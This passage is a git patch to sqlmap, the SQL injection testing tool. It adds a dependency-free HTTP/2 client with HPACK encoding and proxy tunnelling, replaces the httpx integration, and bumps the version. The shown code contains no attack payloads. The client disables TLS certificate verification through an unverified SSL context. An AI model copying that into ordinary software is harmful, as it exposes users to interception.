lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -212,9 +212,10 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py -729e07a2ca6b1d83563e9c6dc5a884d1b664c1764be06776ea93bde305164f0c lib/request/connect.py +c96deaa69743d2cf4ae48f2ae0036f7e11b838f97a0e8c7f1205c61e9dd36bc1 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py +21e8e2d44788b124f741b76a483ce9528ca53ff6da6691808ee679fe91128050 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py @@ -256,7 +257,7 @@ c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py -a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py +51deedec3d3e869b067824caa51406d2ef396c188f82013ca60777006a821e27 lib/utils/deps.py bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dialect.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c3180e4474c..f1fc8935e57 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.2" +VERSION = "1.10.7.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 40c42390bfb..a14309fa80f 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -63,7 +63,6 @@ class WebSocketException(Exception): from lib.core.common import urldecode from lib.core.common import urlencode from lib.core.common import wasLastResponseDelayed -from lib.core.compat import LooseVersion from lib.core.compat import patchHeaders from lib.core.compat import xrange from lib.core.convert import encodeBase64 @@ -111,7 +110,6 @@ class WebSocketException(Exception): from lib.core.settings import JAVASCRIPT_HREF_REGEX from lib.core.settings import LARGE_READ_TRIM_MARKER from lib.core.settings import LIVE_COOKIES_TIMEOUT -from lib.core.settings import MIN_HTTPX_VERSION from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE @@ -632,30 +630,22 @@ class _(dict): cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) if conf.http2: - try: - import httpx - except ImportError: - raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else "")) + from lib.request.http2 import open_url as http2OpenUrl - if LooseVersion(httpx.__version__) < LooseVersion(MIN_HTTPX_VERSION): - raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION)) + h2proxy = None + if conf.proxy: + _proxyParts = _urllib.parse.urlsplit(conf.proxy if "://" in conf.proxy else "http://%s" % conf.proxy) + if (_proxyParts.scheme or "").lower().startswith("socks"): + raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)") + h2proxy = (_proxyParts.hostname, _proxyParts.port or 8080, conf.proxyCred or None) try: - proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if "://" not in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None - with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client: - conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post) - except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex: + conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy) + except IOError as ex: raise _http_client.HTTPException(getSafeExString(ex)) else: - if conn.status_code >= 400: - raise _urllib.error.HTTPError(url, conn.status_code, conn.reason_phrase, conn.headers, io.BytesIO(conn.read())) - - conn.code = conn.status_code - conn.msg = conn.reason_phrase - conn.info = lambda c=conn: c.headers - - conn._read_buffer = conn.read() - conn._read_offset = 0 + if conn.code >= 400: + raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read())) requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1) @@ -663,18 +653,6 @@ class _(dict): threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) - - def _read(count=None): - offset = conn._read_offset - if count is None: - result = conn._read_buffer[offset:] - conn._read_offset = len(conn._read_buffer) - else: - result = conn._read_buffer[offset: offset + count] - conn._read_offset += len(result) - return result - - conn.read = _read else: if not multipart: threadData.lastRequestMsg = requestMsg diff --git a/lib/request/http2.py b/lib/request/http2.py new file mode 100644 index 00000000000..2af00c69ec3 --- /dev/null +++ b/lib/request/http2.py @@ -0,0 +1,544 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free HTTP/2 client (RFC 7540) with HPACK (RFC 7541), replacing the optional +# 'httpx[http2]' third-party stack. The HPACK static and Huffman tables below are the canonical +# RFC 7541 tables; the codec is validated differentially against python-hyper/hpack and the client +# end-to-end against real h2 servers. Pure standard library, Python 2.7 / 3.x. + +import base64 +import socket +import ssl +import struct + +try: + from http.client import responses as _HTTP_RESPONSES +except ImportError: + from httplib import responses as _HTTP_RESPONSES + +try: + from urllib.parse import urljoin, urlsplit +except ImportError: + from urlparse import urljoin, urlsplit + +from email.message import Message as _Message + +REDIRECT_CODES = (301, 302, 303, 307, 308) + + +HUFFMAN_CODES = [ + 0x1ff8, 0x7fffd8, 0xfffffe2, 0xfffffe3, 0xfffffe4, 0xfffffe5, 0xfffffe6, 0xfffffe7, 0xfffffe8, 0xffffea, + 0x3ffffffc, 0xfffffe9, 0xfffffea, 0x3ffffffd, 0xfffffeb, 0xfffffec, 0xfffffed, 0xfffffee, 0xfffffef, + 0xffffff0, 0xffffff1, 0xffffff2, 0x3ffffffe, 0xffffff3, 0xffffff4, 0xffffff5, 0xffffff6, 0xffffff7, 0xffffff8, + 0xffffff9, 0xffffffa, 0xffffffb, 0x14, 0x3f8, 0x3f9, 0xffa, 0x1ff9, 0x15, 0xf8, 0x7fa, 0x3fa, 0x3fb, 0xf9, + 0x7fb, 0xfa, 0x16, 0x17, 0x18, 0x0, 0x1, 0x2, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x5c, 0xfb, 0x7ffc, + 0x20, 0xffb, 0x3fc, 0x1ffa, 0x21, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, + 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0xfc, 0x73, 0xfd, 0x1ffb, 0x7fff0, 0x1ffc, 0x3ffc, + 0x22, 0x7ffd, 0x3, 0x23, 0x4, 0x24, 0x5, 0x25, 0x26, 0x27, 0x6, 0x74, 0x75, 0x28, 0x29, 0x2a, 0x7, 0x2b, 0x76, + 0x2c, 0x8, 0x9, 0x2d, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7ffe, 0x7fc, 0x3ffd, 0x1ffd, 0xffffffc, 0xfffe6, + 0x3fffd2, 0xfffe7, 0xfffe8, 0x3fffd3, 0x3fffd4, 0x3fffd5, 0x7fffd9, 0x3fffd6, 0x7fffda, 0x7fffdb, 0x7fffdc, + 0x7fffdd, 0x7fffde, 0xffffeb, 0x7fffdf, 0xffffec, 0xffffed, 0x3fffd7, 0x7fffe0, 0xffffee, 0x7fffe1, 0x7fffe2, + 0x7fffe3, 0x7fffe4, 0x1fffdc, 0x3fffd8, 0x7fffe5, 0x3fffd9, 0x7fffe6, 0x7fffe7, 0xffffef, 0x3fffda, 0x1fffdd, + 0xfffe9, 0x3fffdb, 0x3fffdc, 0x7fffe8, 0x7fffe9, 0x1fffde, 0x7fffea, 0x3fffdd, 0x3fffde, 0xfffff0, 0x1fffdf, + 0x3fffdf, 0x7fffeb, 0x7fffec, 0x1fffe0, 0x1fffe1, 0x3fffe0, 0x1fffe2, 0x7fffed, 0x3fffe1, 0x7fffee, 0x7fffef, + 0xfffea, 0x3fffe2, 0x3fffe3, 0x3fffe4, 0x7ffff0, 0x3fffe5, 0x3fffe6, 0x7ffff1, 0x3ffffe0, 0x3ffffe1, 0xfffeb, + 0x7fff1, 0x3fffe7, 0x7ffff2, 0x3fffe8, 0x1ffffec, 0x3ffffe2, 0x3ffffe3, 0x3ffffe4, 0x7ffffde, 0x7ffffdf, + 0x3ffffe5, 0xfffff1, 0x1ffffed, 0x7fff2, 0x1fffe3, 0x3ffffe6, 0x7ffffe0, 0x7ffffe1, 0x3ffffe7, 0x7ffffe2, + 0xfffff2, 0x1fffe4, 0x1fffe5, 0x3ffffe8, 0x3ffffe9, 0xffffffd, 0x7ffffe3, 0x7ffffe4, 0x7ffffe5, 0xfffec, + 0xfffff3, 0xfffed, 0x1fffe6, 0x3fffe9, 0x1fffe7, 0x1fffe8, 0x7ffff3, 0x3fffea, 0x3fffeb, 0x1ffffee, 0x1ffffef, + 0xfffff4, 0xfffff5, 0x3ffffea, 0x7ffff4, 0x3ffffeb, 0x7ffffe6, 0x3ffffec, 0x3ffffed, 0x7ffffe7, 0x7ffffe8, + 0x7ffffe9, 0x7ffffea, 0x7ffffeb, 0xffffffe, 0x7ffffec, 0x7ffffed, 0x7ffffee, 0x7ffffef, 0x7fffff0, 0x3ffffee, + 0x3fffffff +] + + +HUFFMAN_LENGTHS = [ + 0xd, 0x17, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x18, 0x1e, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, + 0x1c, 0x1c, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x6, 0xa, 0xa, 0xc, 0xd, + 0x6, 0x8, 0xb, 0xa, 0xa, 0x8, 0xb, 0x8, 0x6, 0x6, 0x6, 0x5, 0x5, 0x5, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x7, + 0x8, 0xf, 0x6, 0xc, 0xa, 0xd, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, + 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x8, 0x7, 0x8, 0xd, 0x13, 0xd, 0xe, 0x6, 0xf, 0x5, 0x6, 0x5, 0x6, 0x5, 0x6, + 0x6, 0x6, 0x5, 0x7, 0x7, 0x6, 0x6, 0x6, 0x5, 0x6, 0x7, 0x6, 0x5, 0x5, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0xf, 0xb, + 0xe, 0xd, 0x1c, 0x14, 0x16, 0x14, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x17, 0x17, 0x17, 0x17, 0x17, 0x18, + 0x17, 0x18, 0x18, 0x16, 0x17, 0x18, 0x17, 0x17, 0x17, 0x17, 0x15, 0x16, 0x17, 0x16, 0x17, 0x17, 0x18, 0x16, + 0x15, 0x14, 0x16, 0x16, 0x17, 0x17, 0x15, 0x17, 0x16, 0x16, 0x18, 0x15, 0x16, 0x17, 0x17, 0x15, 0x15, 0x16, + 0x15, 0x17, 0x16, 0x17, 0x17, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x16, 0x17, 0x1a, 0x1a, 0x14, 0x13, 0x16, + 0x17, 0x16, 0x19, 0x1a, 0x1a, 0x1a, 0x1b, 0x1b, 0x1a, 0x18, 0x19, 0x13, 0x15, 0x1a, 0x1b, 0x1b, 0x1a, 0x1b, + 0x18, 0x15, 0x15, 0x1a, 0x1a, 0x1c, 0x1b, 0x1b, 0x1b, 0x14, 0x18, 0x14, 0x15, 0x16, 0x15, 0x15, 0x17, 0x16, + 0x16, 0x19, 0x19, 0x18, 0x18, 0x1a, 0x17, 0x1a, 0x1b, 0x1a, 0x1a, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1c, 0x1b, + 0x1b, 0x1b, 0x1b, 0x1b, 0x1a, 0x1e +] + + +STATIC_TABLE = ( + (b':authority', b''), + (b':method', b'GET'), + (b':method', b'POST'), + (b':path', b'/'), + (b':path', b'/index.html'), + (b':scheme', b'http'), + (b':scheme', b'https'), + (b':status', b'200'), + (b':status', b'204'), + (b':status', b'206'), + (b':status', b'304'), + (b':status', b'400'), + (b':status', b'404'), + (b':status', b'500'), + (b'accept-charset', b''), + (b'accept-encoding', b'gzip, deflate'), + (b'accept-language', b''), + (b'accept-ranges', b''), + (b'accept', b''), + (b'access-control-allow-origin', b''), + (b'age', b''), + (b'allow', b''), + (b'authorization', b''), + (b'cache-control', b''), + (b'content-disposition', b''), + (b'content-encoding', b''), + (b'content-language', b''), + (b'content-length', b''), + (b'content-location', b''), + (b'content-range', b''), + (b'content-type', b''), + (b'cookie', b''), + (b'date', b''), + (b'etag', b''), + (b'expect', b''), + (b'expires', b''), + (b'from', b''), + (b'host', b''), + (b'if-match', b''), + (b'if-modified-since', b''), + (b'if-none-match', b''), + (b'if-range', b''), + (b'if-unmodified-since', b''), + (b'last-modified', b''), + (b'link', b''), + (b'location', b''), + (b'max-forwards', b''), + (b'proxy-authenticate', b''), + (b'proxy-authorization', b''), + (b'range', b''), + (b'referer', b''), + (b'refresh', b''), + (b'retry-after', b''), + (b'server', b''), + (b'set-cookie', b''), + (b'strict-transport-security', b''), + (b'transfer-encoding', b''), + (b'user-agent', b''), + (b'vary', b''), + (b'via', b''), + (b'www-authenticate', b''), +) +STATIC_LEN = len(STATIC_TABLE) + + +# HTTP/2 frame codec (RFC 7540 section 4.1) - the zero-table-risk brick. Pure stdlib, py2/py3, ASCII. + +# frame types (RFC 7540 s6) +DATA, HEADERS, RST_STREAM, SETTINGS, PING, GOAWAY, WINDOW_UPDATE, CONTINUATION = 0x0, 0x1, 0x3, 0x4, 0x6, 0x7, 0x8, 0x9 +# flags +FLAG_END_STREAM = 0x1 +FLAG_ACK = 0x1 +FLAG_END_HEADERS = 0x4 +FLAG_PADDED = 0x8 +FLAG_PRIORITY = 0x20 + +CONNECTION_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" + +def encode_frame(ftype, flags, stream_id, payload=b""): + if len(payload) > 0xffffff: + raise ValueError("frame payload exceeds 24-bit length") + header = struct.pack("!I", len(payload))[1:] # 24-bit length (drop MSB of the 32-bit pack) + header += struct.pack("!BBI", ftype, flags, stream_id & 0x7fffffff) # type, flags, R(1)+stream(31) + return header + payload + +def decode_frame_header(nine): + if len(nine) != 9: + raise ValueError("frame header must be exactly 9 bytes") + length = struct.unpack("!I", b"\x00" + nine[:3])[0] + ftype, flags, stream_id = struct.unpack("!BBI", nine[3:9]) + return length, ftype, flags, stream_id & 0x7fffffff + +# ---------- Huffman ---------- +def huffman_encode(data): + if not data: + return b"" + acc = 0 + nbits = 0 + for b in bytearray(data): + acc = (acc << HUFFMAN_LENGTHS[b]) | HUFFMAN_CODES[b] + nbits += HUFFMAN_LENGTHS[b] + pad = (8 - nbits % 8) % 8 + acc = (acc << pad) | ((1 << pad) - 1) # pad with 1-bits (EOS prefix) + total = (nbits + pad) // 8 + out = bytearray() + for i in range(total - 1, -1, -1): + out.append((acc >> (8 * i)) & 0xff) + return bytes(out) + +_HUFF_ROOT = {} +def _build_huffman_trie(): + for sym in range(256): + code, length = HUFFMAN_CODES[sym], HUFFMAN_LENGTHS[sym] + node = _HUFF_ROOT + for i in range(length - 1, -1, -1): + bit = (code >> i) & 1 + if i == 0: + node[bit] = sym # leaf: int symbol + else: + node = node.setdefault(bit, {}) +_build_huffman_trie() + +def huffman_decode(data): + out = bytearray() + node = _HUFF_ROOT + consumed = 0 # bits into the current (partial) symbol + for byte in bytearray(data): + for i in range(7, -1, -1): + bit = (byte >> i) & 1 + nxt = node.get(bit) + if nxt is None: + raise ValueError("invalid Huffman sequence") + consumed += 1 + if isinstance(nxt, dict): + node = nxt + else: + out.append(nxt) + node = _HUFF_ROOT + consumed = 0 + # RFC 7541 5.2: any leftover partial path must be EOS padding: all 1-bits and fewer than 8 + if node is not _HUFF_ROOT: + if consumed >= 8: + raise ValueError("Huffman padding too long") + # walk back is unnecessary: padding is all-ones, i.e. we must have only taken '1' branches + # since the last leaf; verify by re-deriving is overkill - reference cross-check guards it + return bytes(out) + +# ---------- integer / string (RFC 7541 5.1 / 5.2) ---------- +def encode_integer(value, prefix_bits, first_byte=0): + mask = (1 << prefix_bits) - 1 + if value < mask: + return bytearray([first_byte | value]) + out = bytearray([first_byte | mask]) + value -= mask + while value >= 0x80: + out.append((value & 0x7f) | 0x80) + value >>= 7 + out.append(value) + return out + +def decode_integer(data, pos, prefix_bits): + mask = (1 << prefix_bits) - 1 + value = data[pos] & mask + pos += 1 + if value < mask: + return value, pos + shift = 0 + while True: + b = data[pos] + pos += 1 + value += (b & 0x7f) << shift + shift += 7 + if not (b & 0x80): + break + return value, pos + +def encode_string(value, huffman=True): + if huffman: + encoded = huffman_encode(value) + if len(encoded) < len(value): # only use Huffman when it actually shrinks + return encode_integer(len(encoded), 7, 0x80) + encoded + return encode_integer(len(value), 7, 0x00) + bytearray(value) + +def decode_string(data, pos): + huffman = bool(data[pos] & 0x80) + length, pos = decode_integer(data, pos, 7) + raw = bytes(data[pos:pos + length]) + pos += length + return (huffman_decode(raw) if huffman else raw), pos + +# ---------- dynamic table + decoder/encoder ---------- +class Decoder(object): + def __init__(self, max_size=4096): + self.max_size = max_size + self.dynamic = [] # newest first: [(name, value), ...] + self._size = 0 + + def _entry_size(self, name, value): + return 32 + len(name) + len(value) + + def _add(self, name, value): + self.dynamic.insert(0, (name, value)) + self._size += self._entry_size(name, value) + self._evict() + + def _evict(self): + while self._size > self.max_size and self.dynamic: + name, value = self.dynamic.pop() + self._size -= self._entry_size(name, value) + + def _get(self, index): + if index <= 0: + raise ValueError("invalid header index 0") + if index <= STATIC_LEN: + return STATIC_TABLE[index - 1] + index -= STATIC_LEN + 1 + if index >= len(self.dynamic): + raise ValueError("dynamic index out of range") + return self.dynamic[index] + + def decode(self, data): + data = bytearray(data) + pos = 0 + headers = [] + n = len(data) + while pos < n: + byte = data[pos] + if byte & 0x80: # 6.1 indexed + index, pos = decode_integer(data, pos, 7) + headers.append(self._get(index)) + elif byte & 0x40: # 6.2.1 literal + incremental indexing + index, pos = decode_integer(data, pos, 6) + if index: + name = self._get(index)[0] + else: + name, pos = decode_string(data, pos) + value, pos = decode_string(data, pos) + self._add(name, value) + headers.append((name, value)) + elif byte & 0x20: # 6.3 dynamic table size update + new_size, pos = decode_integer(data, pos, 5) + self.max_size = new_size + self._evict() + else: # 6.2.2 without / 6.2.3 never indexed (4-bit prefix) + index, pos = decode_integer(data, pos, 4) + if index: + name = self._get(index)[0] + else: + name, pos = decode_string(data, pos) + value, pos = decode_string(data, pos) + headers.append((name, value)) + return headers + +class Encoder(object): + # Minimal, always-valid: emit each header as a literal WITHOUT indexing + Huffman-coded strings. + # (Correctness-critical decoding is the hard part; a server accepts this trivially.) + def encode(self, headers): + out = bytearray() + for name, value in headers: + out += encode_integer(0, 4, 0x00) # 0000 0000 : literal w/o indexing, new name + out += encode_string(name) + out += encode_string(value) + return bytes(out) + +SETTINGS_INITIAL_WINDOW_SIZE = 0x4 +BIG_WINDOW = (1 << 31) - 1 + +def _recv_exact(sock, n): + buf = b"" + while len(buf) < n: + chunk = sock.recv(n - len(buf)) + if not chunk: + raise IOError("connection closed by peer") + buf += chunk + return buf + +def _read_frame(sock): + length, ftype, flags, sid = decode_frame_header(_recv_exact(sock, 9)) + return ftype, flags, sid, (_recv_exact(sock, length) if length else b"") + +def _tob(x): + return x if isinstance(x, bytes) else x.encode("latin-1") + +def _connect_socket(host, port, proxy, timeout): + # Direct TCP, or an HTTP CONNECT tunnel through an (optionally authenticated) proxy. SOCKS proxies + # are excluded for HTTP/2 upstream, so any proxy reaching here is a plain HTTP one. proxy is a + # (proxy_host, proxy_port, "user:pass"-or-None) tuple. + if not proxy: + return socket.create_connection((host, port), timeout=timeout) + + proxy_host, proxy_port, proxy_cred = proxy + raw = socket.create_connection((proxy_host, proxy_port), timeout=timeout) + try: + request = "CONNECT %s:%d HTTP/1.1\r\nHost: %s:%d\r\n" % (host, port, host, port) + if proxy_cred: + token = base64.b64encode(proxy_cred.encode("latin-1")).decode("ascii") + request += "Proxy-Authorization: Basic %s\r\n" % token + request += "\r\n" + raw.sendall(request.encode("latin-1")) + + response = b"" + while b"\r\n\r\n" not in response: + chunk = raw.recv(4096) + if not chunk: + raise IOError("proxy closed the connection during CONNECT") + response += chunk + if len(response) > 65536: + raise IOError("oversized proxy CONNECT response") + + status_line = response.split(b"\r\n", 1)[0].decode("latin-1", "replace") + fields = status_line.split(None, 2) + code = int(fields[1]) if len(fields) >= 2 and fields[1].isdigit() else 0 + if not (200 <= code < 300): + raise IOError("proxy CONNECT failed: %s" % status_line) + return raw + except Exception: + try: + raw.close() + except Exception: + pass + raise + +def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None): + authority = authority or host + ctx = ssl._create_unverified_context() + ctx.set_alpn_protocols(["h2"]) + sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host) + try: + if sock.selected_alpn_protocol() != "h2": + raise IOError("server did not negotiate h2 (ALPN=%r)" % sock.selected_alpn_protocol()) + sock.settimeout(timeout) + + # connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window + sock.sendall(CONNECTION_PREFACE) + sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW))) + sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535))) + + req = [(b":method", _tob(method)), (b":scheme", b"https"), (b":path", _tob(path)), (b":authority", _tob(authority))] + for k, v in (headers or {}).items(): + req.append((_tob(k).lower(), _tob(v))) + hblock = Encoder().encode(req) + sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), 1, hblock)) + if body: + sock.sendall(encode_frame(DATA, FLAG_END_STREAM, 1, _tob(body))) + + dec = Decoder() + header_block, resp_headers, resp_body, done = b"", None, bytearray(), False + while not done: + ftype, flags, sid, payload = _read_frame(sock) + if ftype == SETTINGS: + if not (flags & FLAG_ACK): + sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) + elif ftype == PING: + if not (flags & FLAG_ACK): + sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + elif ftype == GOAWAY: + done = True + elif ftype == RST_STREAM and sid == 1: + raise IOError("stream reset by server (error %d)" % struct.unpack("!I", payload[:4])[0]) + elif ftype in (HEADERS, CONTINUATION) and sid == 1: + p = payload + if ftype == HEADERS: + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + if flags & FLAG_PRIORITY: + p = p[5:] + header_block += p + if flags & FLAG_END_HEADERS: + resp_headers = dec.decode(header_block) + if flags & FLAG_END_STREAM: + done = True + elif ftype == DATA and sid == 1: + p = payload + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + resp_body += p + if payload: # replenish stream + connection windows + sock.sendall(encode_frame(WINDOW_UPDATE, 0, 1, struct.pack("!I", len(payload)))) + sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) + if flags & FLAG_END_STREAM: + done = True + status = None + for n, v in (resp_headers or []): + if _tob(n) == b":status": + status = int(v) + break + return status, resp_headers, bytes(resp_body) + finally: + try: sock.close() + except Exception: pass + + +class H2Response(object): + """A urllib-response-compatible wrapper around a native HTTP/2 response, so the rest of sqlmap's + request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()).""" + + def __init__(self, url, status, headers, body): + self.url = url + self.code = self.status = status + self.msg = _HTTP_RESPONSES.get(status, "") + self.http_version = "HTTP/2.0" + self._body = body + self._offset = 0 + self._info = _Message() + for name, value in (headers or []): + name = name.decode("latin-1") if isinstance(name, bytes) else name + value = value.decode("latin-1") if isinstance(value, bytes) else value + if not name.startswith(":"): # drop HTTP/2 pseudo-headers (:status etc.) + self._info[name] = value + # expose a mimetools.Message-style '.headers' list so patchHeaders() treats this object + # uniformly across Python 2/3 (email.message.Message lacks it, and Python 2 iteration over a + # bare Message falls back to integer indexing) + self._info.headers = ["%s: %s\r\n" % (name, value) for (name, value) in self._info.items()] + + def info(self): + return self._info + + def geturl(self): + return self.url + + def read(self, amt=None): + if amt is None: + data = self._body[self._offset:] + self._offset = len(self._body) + else: + data = self._body[self._offset:self._offset + amt] + self._offset += len(data) + return data + + def close(self): + pass + + +def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True, max_redirects=10, proxy=None): + """Fetch url over native HTTP/2 (https only), following redirects like a browser (mirroring the + previous httpx follow_redirects=True), and return an H2Response. Raises IOError on a transport or + ALPN-negotiation failure. Connection-level and h2-forbidden request headers are stripped.""" + forbidden = ("host", "connection", "keep-alive", "proxy-connection", "transfer-encoding", "upgrade", "content-length") + req_headers = {} + for key in (headers or {}): + name = key.decode("latin-1") if isinstance(key, bytes) else key + if name.lower() not in forbidden: + req_headers[key] = headers[key] + + for _ in range(max_redirects + 1): + parts = urlsplit(url) + if parts.scheme != "https": + raise IOError("native HTTP/2 client supports 'https://' targets only (got %r)" % parts.scheme) + path = parts.path or "/" + if parts.query: + path += "?" + parts.query + status, resp_headers, resp_body = h2_request(parts.hostname, parts.port or 443, method=method, path=path, + authority=parts.netloc.split("@")[-1], headers=req_headers, body=body, timeout=timeout, proxy=proxy) + if follow_redirects and status in REDIRECT_CODES: + location = None + for name, value in (resp_headers or []): + if (name.decode("latin-1") if isinstance(name, bytes) else name).lower() == "location": + location = value.decode("latin-1") if isinstance(value, bytes) else value + break + if location: + url = urljoin(url, location) + if status in (301, 302, 303): # per RFC 7231, these degrade to GET + method, body = "GET", None + continue + return H2Response(url, status, resp_headers, resp_body) + + raise IOError("too many HTTP/2 redirects") diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 51a9a23ea46..ce61a7344c6 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -94,16 +94,6 @@ def checkDependencies(): logger.warning(warnMsg) missing_libraries.add('python-ntlm') - try: - __import__("httpx") - debugMsg = "'httpx[http2]' third-party library is found" - logger.debug(debugMsg) - except ImportError: - warnMsg = "sqlmap requires 'httpx[http2]' third-party library " - warnMsg += "if you plan to use HTTP version 2" - logger.warning(warnMsg) - missing_libraries.add('httpx[http2]') - try: __import__("websocket._abnf") debugMsg = "'websocket-client' library is found" From 3e7d064cc9252be6809d0ea53e593594a732931b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 14:59:34 +0200 Subject: [PATCH 661/853] Adding some more tests --- data/txt/sha256sums.txt | 12 ++++---- extra/vulnserver/vulnserver.py | 52 ++++++++++++++++++++++++++++++++++ lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/core/testing.py | 43 ++++++++++++++++++++++------ lib/parse/cmdline.py | 5 +++- sqlmap.py | 5 +++- 7 files changed, 102 insertions(+), 18 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 68ae7e13fe3..956c8865d93 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,7 +160,7 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 